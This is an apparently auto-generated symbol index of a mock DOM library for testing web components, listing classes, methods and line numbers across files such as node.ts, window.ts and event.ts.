method constructor (line 300) | constructor(ownerDocument: any) {
method src (line 304) | get src() {
method src (line 307) | set src(value: string) {
class MockDOMMatrix (line 315) | class MockDOMMatrix {
method fromMatrix (line 316) | static fromMatrix() {
method inverse (line 343) | inverse() {
method flipX (line 346) | flipX() {
method flipY (line 349) | flipY() {
method multiply (line 352) | multiply() {
method rotate (line 355) | rotate() {
method rotateAxisAngle (line 358) | rotateAxisAngle() {
method rotateFromVector (line 361) | rotateFromVector() {
method scale (line 364) | scale() {
method scaleNonUniform (line 367) | scaleNonUniform() {
method skewX (line 370) | skewX() {
method skewY (line 373) | skewY() {
method toJSON (line 376) | toJSON() {}
method toString (line 377) | toString() {}
method transformPoint (line 378) | transformPoint() {
method translate (line 381) | translate() {
class MockDOMPoint (line 386) | class MockDOMPoint {
method toJSON (line 391) | toJSON() {}
method matrixTransform (line 392) | matrixTransform() {
class MockSVGRect (line 397) | class MockSVGRect {
class MockStyleElement (line 404) | class MockStyleElement extends MockHTMLElement {
method constructor (line 407) | constructor(ownerDocument: any) {
method innerHTML (line 412) | override get innerHTML() {
method innerHTML (line 415) | override set innerHTML(value: string) {
method innerText (line 419) | override get innerText() {
method innerText (line 422) | override set innerText(value: string) {
method textContent (line 426) | override get textContent() {
method textContent (line 429) | override set textContent(value: string) {
class MockSVGElement (line 433) | class MockSVGElement extends MockElement {
method ownerSVGElement (line 437) | get ownerSVGElement(): SVGSVGElement {
method viewportElement (line 440) | get viewportElement(): SVGElement {
method onunload (line 443) | onunload() {
method pathLength (line 448) | get pathLength(): number {
method isPointInFill (line 452) | isPointInFill(_pt: DOMPoint): boolean {
method isPointInStroke (line 455) | isPointInStroke(_pt: DOMPoint): boolean {
method getTotalLength (line 458) | getTotalLength(): number {
class MockSVGGraphicsElement (line 463) | class MockSVGGraphicsElement extends MockSVGElement {
method getBBox (line 464) | getBBox(_options?: { clipped: boolean; fill: boolean; markers: boolean...
method getCTM (line 467) | getCTM(): MockDOMMatrix {
method getScreenCTM (line 470) | getScreenCTM(): MockDOMMatrix {
class MockSVGSVGElement (line 475) | class MockSVGSVGElement extends MockSVGGraphicsElement {
method createSVGPoint (line 476) | createSVGPoint(): MockDOMPoint {
class MockSVGTextContentElement (line 481) | class MockSVGTextContentElement extends MockSVGGraphicsElement {
method getComputedTextLength (line 482) | getComputedTextLength(): number {
class MockBaseElement (line 487) | class MockBaseElement extends MockHTMLElement {
method constructor (line 488) | constructor(ownerDocument: any) {
method href (line 492) | get href() {
method href (line 495) | set href(value: string) {
class MockTemplateElement (line 500) | class MockTemplateElement extends MockHTMLElement {
method constructor (line 503) | constructor(ownerDocument: any) {
method innerHTML (line 508) | override get innerHTML() {
method innerHTML (line 511) | override set innerHTML(html: string) {
method cloneNode (line 515) | override cloneNode(deep?: boolean) {
class MockTitleElement (line 537) | class MockTitleElement extends MockHTMLElement {
method constructor (line 538) | constructor(ownerDocument: any) {
method text (line 542) | get text() {
method text (line 545) | set text(value: string) {
class MockUListElement (line 550) | class MockUListElement extends MockHTMLElement {
method constructor (line 551) | constructor(ownerDocument: any) {
class MockSlotElement (line 556) | class MockSlotElement extends MockHTMLElement {
method constructor (line 557) | constructor(ownerDocument: any) {
method assignedNodes (line 561) | assignedNodes(opts?: { flatten: boolean }): (MockNode | Node)[] {
method assignedElements (line 603) | assignedElements(opts?: { flatten: boolean }): (Element | MockHTMLElem...
type CanvasContext (line 641) | type CanvasContext = '2d' | 'webgl' | 'webgl2' | 'bitmaprenderer';
class CanvasRenderingContext (line 642) | class CanvasRenderingContext {
method constructor (line 645) | constructor(context: CanvasContext, contextAttributes?: WebGLContextAt...
method fillRect (line 649) | fillRect() {
method clearRect (line 652) | clearRect() {}
method getImageData (line 653) | getImageData(_: number, __: number, w: number, h: number) {
method toDataURL (line 658) | toDataURL() {
method putImageData (line 661) | putImageData() {}
method createImageData (line 662) | createImageData(): ImageData {
method setTransform (line 665) | setTransform() {}
method drawImage (line 666) | drawImage() {}
method save (line 667) | save() {}
method fillText (line 668) | fillText() {}
method restore (line 669) | restore() {}
method beginPath (line 670) | beginPath() {}
method moveTo (line 671) | moveTo() {}
method lineTo (line 672) | lineTo() {}
method closePath (line 673) | closePath() {}
method stroke (line 674) | stroke() {}
method translate (line 675) | translate() {}
method scale (line 676) | scale() {}
method rotate (line 677) | rotate() {}
method arc (line 678) | arc() {}
method fill (line 679) | fill() {}
method measureText (line 680) | measureText() {
method transform (line 683) | transform() {}
method rect (line 684) | rect() {}
method clip (line 685) | clip() {}
class MockCanvasElement (line 688) | class MockCanvasElement extends MockHTMLElement {
method constructor (line 689) | constructor(ownerDocument: any) {
method getContext (line 692) | getContext(context: CanvasContext, contextAttributes?: WebGLContextAtt...
function fullUrl (line 697) | function fullUrl(elm: MockElement, attrName: string) {
function getLabelsForElement (line 714) | function getLabelsForElement(elm: MockHTMLElement): MockHTMLElement[] {
function patchPropAttributes (line 744) | function patchPropAttributes(prototype: any, attrs: any, defaults: any =...
FILE: src/mock-doc/event.ts
class MockEvent (line 6) | class MockEvent {
method constructor (line 18) | constructor(type: string, eventInitDict?: EventInit) {
method preventDefault (line 30) | preventDefault() {
method stopPropagation (line 34) | stopPropagation() {
method stopImmediatePropagation (line 38) | stopImmediatePropagation() {
method composedPath (line 46) | composedPath(): MockElement[] {
class MockCustomEvent (line 77) | class MockCustomEvent extends MockEvent {
method constructor (line 80) | constructor(type: string, customEventInitDic?: CustomEventInit) {
class MockKeyboardEvent (line 89) | class MockKeyboardEvent extends MockEvent {
method constructor (line 99) | constructor(type: string, keyboardEventInitDic?: KeyboardEventInit) {
class MockMouseEvent (line 108) | class MockMouseEvent extends MockEvent {
method constructor (line 121) | constructor(type: string, mouseEventInitDic?: MouseEventInit) {
class MockUIEvent (line 130) | class MockUIEvent extends MockEvent {
method constructor (line 134) | constructor(type: string, uiEventInitDic?: UIEventInit) {
class MockFocusEvent (line 143) | class MockFocusEvent extends MockUIEvent {
method constructor (line 146) | constructor(type: 'blur' | 'focus', focusEventInitDic?: FocusEventInit) {
class MockEventListener (line 155) | class MockEventListener {
method constructor (line 159) | constructor(type: string, handler: any) {
function addEventListener (line 165) | function addEventListener(elm: any, type: string, handler: any) {
function removeEventListener (line 175) | function removeEventListener(elm: any, type: string, handler: any) {
function resetEventListeners (line 187) | function resetEventListeners(target: any) {
function triggerEventListener (line 193) | function triggerEventListener(elm: any, ev: MockEvent) {
function getNextEventTarget (line 226) | function getNextEventTarget(elm: any, ev: MockEvent) {
function dispatchEvent (line 245) | function dispatchEvent(currentTarget: any, ev: MockEvent) {
type EventTarget (line 251) | interface EventTarget {
FILE: src/mock-doc/global.ts
function setupGlobal (line 25) | function setupGlobal(gbl: any) {
function teardownGlobal (line 58) | function teardownGlobal(gbl: any) {
function patchWindow (line 65) | function patchWindow(winToBePatched: any) {
function addGlobalsToWindowPrototype (line 90) | function addGlobalsToWindowPrototype(mockWinPrototype: any) {
constant WINDOW_FUNCTIONS (line 105) | const WINDOW_FUNCTIONS = [
constant WINDOW_PROPS (line 127) | const WINDOW_PROPS = [
constant GLOBAL_CONSTRUCTORS (line 160) | const GLOBAL_CONSTRUCTORS: [string, any][] = [
FILE: src/mock-doc/headers.ts
class MockHeaders (line 1) | class MockHeaders {
method constructor (line 4) | constructor(init?: string[][] | Map<string, string> | any) {
method append (line 24) | append(key: string, value: string) {
method delete (line 28) | delete(key: string) {
method entries (line 37) | entries(): any {
method forEach (line 57) | forEach(cb: (value: string, key: string) => void) {
method get (line 63) | get(key: string) {
method has (line 74) | has(key: string) {
method keys (line 84) | keys() {
method set (line 107) | set(key: string, value: string) {
method values (line 117) | values(): any {
method [Symbol.iterator] (line 135) | [Symbol.iterator]() {
FILE: src/mock-doc/history.ts
class MockHistory (line 1) | class MockHistory {
method length (line 4) | get length() {
method back (line 8) | back() {
method forward (line 12) | forward() {
method go (line 16) | go(_value: number) {
method pushState (line 20) | pushState(_state: any, _title: string, _url: string) {
method replaceState (line 24) | replaceState(_state: any, _title: string, _url: string) {
FILE: src/mock-doc/intersection-observer.ts
class MockIntersectionObserver (line 1) | class MockIntersectionObserver {
method constructor (line 2) | constructor() {
method disconnect (line 6) | disconnect() {
method observe (line 10) | observe() {
method takeRecords (line 14) | takeRecords(): any[] {
method unobserve (line 18) | unobserve() {
FILE: src/mock-doc/location.ts
class MockLocation (line 1) | class MockLocation implements Location {
method href (line 15) | get href() {
method href (line 18) | set href(value) {
method assign (line 33) | assign(_url: string) {
method reload (line 37) | reload(_forcedReload?: boolean) {
method replace (line 41) | replace(_url: string) {
method toString (line 45) | toString() {
FILE: src/mock-doc/navigator.ts
class MockNavigator (line 1) | class MockNavigator {
FILE: src/mock-doc/node.ts
class MockNode (line 19) | class MockNode {
method constructor (line 27) | constructor(ownerDocument: any, nodeType: number, nodeName: string | n...
method childNodes (line 35) | get childNodes(): MockNode[] {
method childNodes (line 38) | set childNodes(value: MockNode[]) {
method appendChild (line 42) | appendChild(newNode: MockNode) {
method append (line 57) | append(...items: (MockNode | string)[]) {
method prepend (line 64) | prepend(...items: (MockNode | string)[]) {
method cloneNode (line 72) | cloneNode(deep?: boolean): MockNode {
method compareDocumentPosition (line 76) | compareDocumentPosition(_other: MockNode) {
method firstChild (line 82) | get firstChild(): MockNode | null {
method insertBefore (line 86) | insertBefore(newNode: MockNode, referenceNode: MockNode | null) {
method isConnected (line 98) | get isConnected() {
method isSameNode (line 115) | isSameNode(node: any) {
method lastChild (line 119) | get lastChild(): MockNode | null {
method nextSibling (line 123) | get nextSibling(): MockNode | null {
method nodeValue (line 131) | get nodeValue() {
method nodeValue (line 134) | set nodeValue(value: string) {
method parentElement (line 138) | get parentElement() {
method parentElement (line 141) | set parentElement(value: any) {
method previousSibling (line 145) | get previousSibling(): MockNode | null {
method contains (line 153) | contains(otherNode: MockNode): boolean {
method removeChild (line 165) | removeChild(childNode: MockNode) {
method remove (line 187) | remove() {
method replaceChild (line 193) | replaceChild(newChild: MockNode, oldChild: MockNode) {
method textContent (line 202) | get textContent() {
method textContent (line 205) | set textContent(value: string) {
method addEventListener (line 209) | addEventListener(type: string, handler: (ev?: any) => void) {
method removeEventListener (line 213) | removeEventListener(type: string, handler: any) {
method dispatchEvent (line 217) | dispatchEvent(ev: MockEvent) {
class MockNodeList (line 230) | class MockNodeList {
method constructor (line 235) | constructor(ownerDocument: any, childNodes: MockNode[], length: number) {
type MockElementInternals (line 242) | type MockElementInternals = Record<keyof ElementInternals, null>;
class MockElement (line 244) | class MockElement extends MockNode {
method attachInternals (line 250) | attachInternals(): MockElementInternals {
method constructor (line 266) | constructor(ownerDocument: any, nodeName: string | null, namespaceURI:...
method addEventListener (line 273) | override addEventListener(type: string, handler: (ev?: any) => void) {
method attachShadow (line 277) | attachShadow(_opts: ShadowRootInit) {
method blur (line 284) | blur() {
method localName (line 302) | get localName() {
method namespaceURI (line 315) | get namespaceURI() {
method shadowRoot (line 319) | get shadowRoot() {
method shadowRoot (line 327) | set shadowRoot(shadowRoot: any) {
method attributes (line 346) | get attributes(): MockAttributeMap {
method attributes (line 355) | set attributes(attrs: MockAttributeMap) {
method children (line 359) | get children() {
method childElementCount (line 363) | get childElementCount() {
method className (line 367) | get className() {
method className (line 370) | set className(value: string) {
method classList (line 374) | get classList() {
method part (line 378) | get part() {
method part (line 382) | set part(value: string | MockTokenList) {
method click (line 386) | click() {
method cloneNode (line 390) | override cloneNode(_deep?: boolean): MockElement {
method closest (line 396) | closest(selector: string) {
method dataset (line 407) | get dataset() {
method dir (line 411) | get dir() {
method dir (line 414) | set dir(value: string) {
method dispatchEvent (line 418) | override dispatchEvent(ev: MockEvent) {
method firstElementChild (line 422) | get firstElementChild(): MockElement | null {
method focus (line 426) | focus(_options?: { preventScroll?: boolean }) {
method getAttribute (line 433) | getAttribute(attrName: string) {
method getAttributeNS (line 447) | getAttributeNS(namespaceURI: string | null, attrName: string) {
method getAttributeNode (line 455) | getAttributeNode(attrName: string): MockAttr | null {
method getBoundingClientRect (line 463) | getBoundingClientRect() {
method getRootNode (line 467) | getRootNode(opts?: { composed?: boolean; [key: string]: any }) {
method draggable (line 483) | get draggable() {
method draggable (line 486) | set draggable(value: boolean) {
method hasChildNodes (line 490) | hasChildNodes() {
method id (line 494) | get id() {
method id (line 497) | set id(value: string) {
method innerHTML (line 501) | get innerHTML() {
method innerHTML (line 511) | set innerHTML(html: string) {
method innerText (line 528) | get innerText() {
method innerText (line 534) | set innerText(value: string) {
method insertAdjacentElement (line 538) | insertAdjacentElement(position: 'beforebegin' | 'afterbegin' | 'before...
method insertAdjacentHTML (line 551) | insertAdjacentHTML(position: 'beforebegin' | 'afterbegin' | 'beforeend...
method insertAdjacentText (line 576) | insertAdjacentText(position: 'beforebegin' | 'afterbegin' | 'beforeend...
method hasAttribute (line 589) | hasAttribute(attrName: string) {
method hasAttributeNS (line 596) | hasAttributeNS(namespaceURI: string | null, name: string) {
method hidden (line 600) | get hidden() {
method hidden (line 603) | set hidden(isHidden: boolean) {
method lang (line 611) | get lang() {
method lang (line 614) | set lang(value: string) {
method lastElementChild (line 618) | get lastElementChild(): MockElement | null {
method matches (line 623) | matches(selector: string) {
method nextElementSibling (line 627) | get nextElementSibling() {
method outerHTML (line 642) | get outerHTML() {
method previousElementSibling (line 650) | get previousElementSibling() {
method getElementsByClassName (line 665) | getElementsByClassName(classNames: string) {
method getElementsByTagName (line 675) | getElementsByTagName(tagName: string) {
method querySelector (line 681) | querySelector(selector: string) {
method querySelectorAll (line 685) | querySelectorAll(selector: string) {
method removeAttribute (line 689) | removeAttribute(attrName: string) {
method removeAttributeNS (line 703) | removeAttributeNS(namespaceURI: string | null, attrName: string) {
method removeEventListener (line 713) | override removeEventListener(type: string, handler: any) {
method setAttribute (line 717) | setAttribute(attrName: string, value: any) {
method setAttributeNS (line 750) | setAttributeNS(namespaceURI: string | null, attrName: string, value: a...
method style (line 776) | get style() {
method style (line 782) | set style(val: any) {
method tabIndex (line 793) | get tabIndex() {
method tabIndex (line 796) | set tabIndex(value: number) {
method tagName (line 800) | get tagName() {
method tagName (line 803) | set tagName(value: string) {
method textContent (line 807) | override get textContent() {
method textContent (line 812) | override set textContent(value: string) {
method title (line 816) | get title() {
method title (line 819) | set title(value: string) {
method animate (line 823) | animate() {
method onanimationstart (line 826) | onanimationstart() {
method onanimationend (line 829) | onanimationend() {
method onanimationiteration (line 832) | onanimationiteration() {
method onabort (line 835) | onabort() {
method onauxclick (line 838) | onauxclick() {
method onbeforecopy (line 841) | onbeforecopy() {
method onbeforecut (line 844) | onbeforecut() {
method onbeforepaste (line 847) | onbeforepaste() {
method onblur (line 850) | onblur() {
method oncancel (line 853) | oncancel() {
method oncanplay (line 856) | oncanplay() {
method oncanplaythrough (line 859) | oncanplaythrough() {
method onchange (line 862) | onchange() {
method onclick (line 865) | onclick() {
method onclose (line 868) | onclose() {
method oncontextmenu (line 871) | oncontextmenu() {
method oncopy (line 874) | oncopy() {
method oncuechange (line 877) | oncuechange() {
method oncut (line 880) | oncut() {
method ondblclick (line 883) | ondblclick() {
method ondrag (line 886) | ondrag() {
method ondragend (line 889) | ondragend() {
method ondragenter (line 892) | ondragenter() {
method ondragleave (line 895) | ondragleave() {
method ondragover (line 898) | ondragover() {
method ondragstart (line 901) | ondragstart() {
method ondrop (line 904) | ondrop() {
method ondurationchange (line 907) | ondurationchange() {
method onemptied (line 910) | onemptied() {
method onended (line 913) | onended() {
method onerror (line 916) | onerror() {
method onfocus (line 919) | onfocus() {
method onfocusin (line 922) | onfocusin() {
method onfocusout (line 925) | onfocusout() {
method onformdata (line 928) | onformdata() {
method onfullscreenchange (line 931) | onfullscreenchange() {
method onfullscreenerror (line 934) | onfullscreenerror() {
method ongotpointercapture (line 937) | ongotpointercapture() {
method oninput (line 940) | oninput() {
method oninvalid (line 943) | oninvalid() {
method onkeydown (line 946) | onkeydown() {
method onkeypress (line 949) | onkeypress() {
method onkeyup (line 952) | onkeyup() {
method onload (line 955) | onload() {
method onloadeddata (line 958) | onloadeddata() {
method onloadedmetadata (line 961) | onloadedmetadata() {
method onloadstart (line 964) | onloadstart() {
method onlostpointercapture (line 967) | onlostpointercapture() {
method onmousedown (line 970) | onmousedown() {
method onmouseenter (line 973) | onmouseenter() {
method onmouseleave (line 976) | onmouseleave() {
method onmousemove (line 979) | onmousemove() {
method onmouseout (line 982) | onmouseout() {
method onmouseover (line 985) | onmouseover() {
method onmouseup (line 988) | onmouseup() {
method onmousewheel (line 991) | onmousewheel() {
method onpaste (line 994) | onpaste() {
method onpause (line 997) | onpause() {
method onplay (line 1000) | onplay() {
method onplaying (line 1003) | onplaying() {
method onpointercancel (line 1006) | onpointercancel() {
method onpointerdown (line 1009) | onpointerdown() {
method onpointerenter (line 1012) | onpointerenter() {
method onpointerleave (line 1015) | onpointerleave() {
method onpointermove (line 1018) | onpointermove() {
method onpointerout (line 1021) | onpointerout() {
method onpointerover (line 1024) | onpointerover() {
method onpointerup (line 1027) | onpointerup() {
method onprogress (line 1030) | onprogress() {
method onratechange (line 1033) | onratechange() {
method onreset (line 1036) | onreset() {
method onresize (line 1039) | onresize() {
method onscroll (line 1042) | onscroll() {
method onsearch (line 1045) | onsearch() {
method onseeked (line 1048) | onseeked() {
method onseeking (line 1051) | onseeking() {
method onselect (line 1054) | onselect() {
method onselectstart (line 1057) | onselectstart() {
method onstalled (line 1060) | onstalled() {
method onsubmit (line 1063) | onsubmit() {
method onsuspend (line 1066) | onsuspend() {
method ontimeupdate (line 1069) | ontimeupdate() {
method ontoggle (line 1072) | ontoggle() {
method onvolumechange (line 1075) | onvolumechange() {
method onwaiting (line 1078) | onwaiting() {
method onwebkitfullscreenchange (line 1081) | onwebkitfullscreenchange() {
method onwebkitfullscreenerror (line 1084) | onwebkitfullscreenerror() {
method onwheel (line 1087) | onwheel() {
method requestFullscreen (line 1090) | requestFullscreen() {
method scrollBy (line 1093) | scrollBy() {
method scrollTo (line 1096) | scrollTo() {
method scrollIntoView (line 1099) | scrollIntoView() {
method toString (line 1103) | override toString(opts?: SerializeNodeToHtmlOptions) {
function getElementsByClassName (line 1108) | function getElementsByClassName(elm: MockElement, classNames: string[], ...
function getElementsByTagName (line 1121) | function getElementsByTagName(elm: MockElement, tagName: string, foundEl...
function resetElement (line 1132) | function resetElement(elm: MockElement) {
function insertBefore (line 1139) | function insertBefore(parentNode: MockNode, newNode: MockNode, reference...
class MockHTMLElement (line 1162) | class MockHTMLElement extends MockElement {
method constructor (line 1165) | constructor(ownerDocument: any, nodeName: string | null) {
method tagName (line 1169) | override get tagName() {
method tagName (line 1172) | override set tagName(value: string) {
method parentElement (line 1182) | override get parentElement() {
method attributes (line 1189) | override get attributes(): MockAttributeMap {
method attributes (line 1198) | override set attributes(attrs: MockAttributeMap) {
class MockTextNode (line 1203) | class MockTextNode extends MockNode {
method constructor (line 1204) | constructor(ownerDocument: any, text: string) {
method cloneNode (line 1208) | override cloneNode(_deep?: boolean) {
method textContent (line 1212) | override get textContent() {
method textContent (line 1215) | override set textContent(text) {
method data (line 1219) | get data() {
method data (line 1222) | set data(text) {
method wholeText (line 1226) | get wholeText() {
function getTextContent (line 1242) | function getTextContent(childNodes: MockNode[], text: string[]) {
function setTextContent (line 1253) | function setTextContent(elm: MockElement, text: string) {
function isCurrentlyDispatching (line 1269) | function isCurrentlyDispatching(target: any, eventType: string): boolean {
function markAsDispatching (line 1278) | function markAsDispatching(target: any, eventType: string): void {
function unmarkAsDispatching (line 1291) | function unmarkAsDispatching(target: any, eventType: string): void {
FILE: src/mock-doc/parse-html.ts
function parseHtmlToDocument (line 6) | function parseHtmlToDocument(html: string, ownerDocument: MockDocument =...
function parseHtmlToFragment (line 17) | function parseHtmlToFragment(html: string, ownerDocument: MockDocument =...
FILE: src/mock-doc/parse-util.ts
function parseDocumentUtil (line 20) | function parseDocumentUtil(ownerDocument: any, html: string) {
function parseFragmentUtil (line 30) | function parseFragmentUtil(ownerDocument: any, html: string) {
function getParser (line 40) | function getParser(ownerDocument: MockDocument) {
FILE: src/mock-doc/parser.ts
type DOMParserSupportedType (line 4) | type DOMParserSupportedType =
class MockDOMParser (line 11) | class MockDOMParser {
method parseFromString (line 12) | parseFromString(htmlToParse: string, mimeType: DOMParserSupportedType)...
FILE: src/mock-doc/performance.ts
class MockPerformance (line 4) | class MockPerformance implements Performance {
method constructor (line 8) | constructor() {
method addEventListener (line 13) | addEventListener() {
method clearMarks (line 17) | clearMarks() {
method clearMeasures (line 21) | clearMeasures() {
method clearResourceTimings (line 25) | clearResourceTimings() {
method dispatchEvent (line 29) | dispatchEvent() {
method getEntries (line 33) | getEntries() {
method getEntriesByName (line 37) | getEntriesByName() {
method getEntriesByType (line 41) | getEntriesByType() {
method mark (line 50) | mark(): PerformanceMark {
method measure (line 59) | measure(): PerformanceMeasure {
method navigation (line 63) | get navigation() {
method now (line 67) | now() {
method onresourcetimingbufferfull (line 71) | get onresourcetimingbufferfull() {
method removeEventListener (line 75) | removeEventListener() {
method setResourceTimingBufferSize (line 79) | setResourceTimingBufferSize() {
method timing (line 83) | get timing() {
method toJSON (line 87) | toJSON() {
function resetPerformance (line 92) | function resetPerformance(perf: Performance) {
FILE: src/mock-doc/request-response.ts
type MockRequestInfo (line 3) | type MockRequestInfo = MockRequest | string;
type MockRequestInit (line 5) | interface MockRequestInit {
class MockRequest (line 19) | class MockRequest {
method constructor (line 34) | constructor(input?: any, init: MockRequestInit = {}) {
method url (line 53) | get url() {
method url (line 59) | set url(value: string) {
method method (line 63) | get method() {
method method (line 69) | set method(value: string) {
method clone (line 73) | clone() {
type MockResponseInit (line 82) | interface MockResponseInit {
class MockResponse (line 91) | class MockResponse {
method constructor (line 100) | constructor(body?: string, init: MockResponseInit = {}) {
method json (line 108) | async json() {
method text (line 112) | async text() {
method clone (line 116) | clone() {
FILE: src/mock-doc/resize-observer.ts
class MockResizeObserver (line 1) | class MockResizeObserver {
method constructor (line 2) | constructor() {
method disconnect (line 6) | disconnect() {
method observe (line 10) | observe() {
method takeRecords (line 14) | takeRecords(): any[] {
method unobserve (line 18) | unobserve() {
FILE: src/mock-doc/selector.ts
function matches (line 11) | function matches(selector: string, elm: MockElement): boolean {
function selectOne (line 28) | function selectOne(selector: string, elm: MockElement) {
function selectAll (line 45) | function selectAll(selector: string, elm: MockElement): any {
constant PROBLEMATIC_SELECTORS (line 59) | const PROBLEMATIC_SELECTORS = [':scope', ':where', ':is'] as const;
function updateSelectorError (line 71) | function updateSelectorError(selector: string, e: unknown) {
function humanReadableList (line 91) | function humanReadableList(items: string[]): string {
FILE: src/mock-doc/serialize-node.ts
function normalizeSerializationOptions (line 19) | function normalizeSerializationOptions(opts: Partial<SerializeNodeToHtml...
function serializeNodeToHtml (line 56) | function serializeNodeToHtml(elm: Node | MockNode, serializationOptions:...
constant AMP_REGEX (line 515) | const AMP_REGEX = /&/g;
constant NBSP_REGEX (line 516) | const NBSP_REGEX = /\u00a0/g;
constant DOUBLE_QUOTE_REGEX (line 517) | const DOUBLE_QUOTE_REGEX = /"/g;
constant LT_REGEX (line 518) | const LT_REGEX = /</g;
constant GT_REGEX (line 519) | const GT_REGEX = />/g;
constant CAN_REMOVE_ATTR_QUOTES (line 520) | const CAN_REMOVE_ATTR_QUOTES = /^[^ \t\n\f\r"'`=<>\/\\-]+$/;
function getTagName (line 522) | function getTagName(element: Element) {
function escapeString (line 530) | function escapeString(str: string, attrMode: boolean) {
function isWithinWhitespaceSensitive (line 548) | function isWithinWhitespaceSensitive(node: Node | MockNode) {
function getChildNodes (line 566) | function getChildNodes(node: Node | MockNode) {
constant NON_ESCAPABLE_CONTENT (line 571) | const NON_ESCAPABLE_CONTENT = new Set([
constant WHITESPACE_SENSITIVE (line 586) | const WHITESPACE_SENSITIVE = new Set([
constant EMPTY_ELEMENTS (line 597) | const EMPTY_ELEMENTS = new Set([
constant REMOVE_EMPTY_ATTR (line 620) | const REMOVE_EMPTY_ATTR = new Set(['class', 'dir', 'id', 'lang', 'name',...
constant BOOLEAN_ATTR (line 623) | const BOOLEAN_ATTR = new Set([
constant STRUCTURE_ELEMENTS (line 669) | const STRUCTURE_ELEMENTS = new Set([
type SerializeOutput (line 682) | interface SerializeOutput {
type SerializeNodeToHtmlOptions (line 694) | interface SerializeNodeToHtmlOptions {
FILE: src/mock-doc/shadow-root.ts
class MockShadowRoot (line 3) | class MockShadowRoot extends MockDocumentFragment {
method activeElement (line 4) | get activeElement(): HTMLElement | null {
method cloneable (line 8) | get cloneable(): boolean {
method delegatesFocus (line 12) | get delegatesFocus(): boolean {
method fullscreenElement (line 16) | get fullscreenElement(): HTMLElement | null {
method host (line 20) | get host(): HTMLElement | null {
method mode (line 31) | get mode(): 'open' | 'closed' {
method pictureInPictureElement (line 35) | get pictureInPictureElement(): HTMLElement | null {
method pointerLockElement (line 39) | get pointerLockElement(): HTMLElement | null {
method serializable (line 43) | get serializable(): boolean {
method slotAssignment (line 47) | get slotAssignment(): 'named' | 'manual' {
method styleSheets (line 51) | get styleSheets(): StyleSheet[] {
FILE: src/mock-doc/storage.ts
class MockStorage (line 1) | class MockStorage {
method key (line 4) | key(_value: number) {
method getItem (line 8) | getItem(key: string) {
method setItem (line 17) | setItem(key: string, value: string) {
method removeItem (line 24) | removeItem(key: string) {
method clear (line 28) | clear() {
FILE: src/mock-doc/test/attribute.spec.ts
function testNsAttributes (line 186) | function testNsAttributes(element: MockHTMLElement) {
FILE: src/mock-doc/test/custom-elements.spec.ts
method attributeChangedCallback (line 13) | attributeChangedCallback(name: string, oldVal: string, newVal: string) {
method observedAttributes (line 19) | static get observedAttributes() {
method attributeChangedCallback (line 50) | attributeChangedCallback(name: string, oldVal: string, newVal: string) {
method observedAttributes (line 56) | static get observedAttributes() {
method connectedCallback (line 99) | connectedCallback() {
method disconnectedCallback (line 102) | disconnectedCallback() {
method connectedCallback (line 140) | connectedCallback() {
method connectedCallback (line 168) | connectedCallback() {
method connectedCallback (line 188) | connectedCallback() {
method connectedCallback (line 211) | connectedCallback() {
method disconnectedCallback (line 214) | disconnectedCallback() {
FILE: src/mock-doc/third-party/jquery.ts
method createElement (line 36) | createElement() {
function toType (line 85) | function toType( obj ) {
function isWindow (line 95) | function isWindow( obj ) {
function isArrayLike (line 99) | function isArrayLike( obj ) {
function DOMEval (line 121) | function DOMEval( code, node, doc ) {
function nodeName (line 542) | function nodeName( elem, name ) {
function createCache (line 634) | function createCache() {
function testContext (line 656) | function testContext( context ) {
function unescapeSelector (line 719) | function unescapeSelector( sel ) {
function selectorError (line 723) | function selectorError( msg ) {
function tokenize (line 731) | function tokenize( selector, parseOnly ) {
function toSelector (line 886) | function toSelector( tokens ) {
function fcssescape (line 900) | function fcssescape( ch, asCodePoint ) {
function sortOrder (line 927) | function sortOrder( a, b ) {
function find (line 1066) | function find( selector, context, results, seed ) {
function markFunction (line 1197) | function markFunction( fn ) {
function createInputPseudo (line 1206) | function createInputPseudo( type ) {
function createButtonPseudo (line 1216) | function createButtonPseudo( type ) {
function createDisabledPseudo (line 1227) | function createDisabledPseudo( disabled ) {
function createPositionalPseudo (line 1282) | function createPositionalPseudo( fn ) {
function setDocument (line 1304) | function setDocument( node ) {
function setFilters (line 1832) | function setFilters() {}
function addCombinator (line 1836) | function addCombinator( matcher, combinator, base ) {
function elementMatcher (line 1898) | function elementMatcher( matchers ) {
function multipleContexts (line 1912) | function multipleContexts( selector, contexts, results ) {
function condense (line 1921) | function condense( unmatched, map, filter, context, xml ) {
function setMatcher (line 1942) | function setMatcher( preFilter, selector, matcher, postFilter, postFinde...
function matcherFromTokens (line 2041) | function matcherFromTokens( tokens ) {
function matcherFromGroupMatchers (line 2109) | function matcherFromGroupMatchers( elementMatchers, setMatchers ) {
function compile (line 2231) | function compile( selector, match /* Internal Use Only */ ) {
function select (line 2272) | function select( selector, context, results, seed ) {
FILE: src/mock-doc/token-list.ts
class MockTokenList (line 1) | class MockTokenList {
method constructor (line 2) | constructor(
method add (line 7) | add(...tokens: string[]) {
method remove (line 23) | remove(...tokens: string[]) {
method contains (line 40) | contains(token: string) {
method toggle (line 45) | toggle(token: string) {
method length (line 54) | get length() {
method item (line 58) | item(index: number) {
method toString (line 62) | toString() {
function validateToken (line 67) | function validateToken(token: string) {
function getItems (line 76) | function getItems(elm: HTMLElement, attr: string) {
FILE: src/mock-doc/window.ts
class MockWindow (line 36) | class MockWindow {
method constructor (line 85) | constructor(html: string | boolean = null) {
method addEventListener (line 98) | addEventListener(type: string, handler: (ev?: any) => void) {
method alert (line 102) | alert(msg: string) {
method blur (line 110) | blur(): any {
method cancelAnimationFrame (line 114) | cancelAnimationFrame(id: any) {
method cancelIdleCallback (line 118) | cancelIdleCallback(id: any) {
method CharacterData (line 122) | get CharacterData() {
method CharacterData (line 134) | set CharacterData(charDataCstr: any) {
method clearInterval (line 138) | clearInterval(id: any) {
method clearTimeout (line 142) | clearTimeout(id: any) {
method close (line 146) | close() {
method confirm (line 150) | confirm() {
method CSS (line 154) | get CSS() {
method Document (line 160) | get Document() {
method Document (line 172) | set Document(docCstr: any) {
method DocumentFragment (line 176) | get DocumentFragment() {
method DocumentFragment (line 188) | set DocumentFragment(docFragCstr: any) {
method ShadowRoot (line 192) | get ShadowRoot() {
method DocumentType (line 196) | get DocumentType() {
method DocumentType (line 208) | set DocumentType(docTypeCstr: any) {
method DOMTokenList (line 212) | get DOMTokenList() {
method DOMTokenList (line 218) | set DOMTokenList(domTokenListCstr: any) {
method dispatchEvent (line 222) | dispatchEvent(ev: MockEvent) {
method Element (line 226) | get Element() {
method fetch (line 230) | fetch(input: any, init?: any): any {
method focus (line 237) | focus(): any {
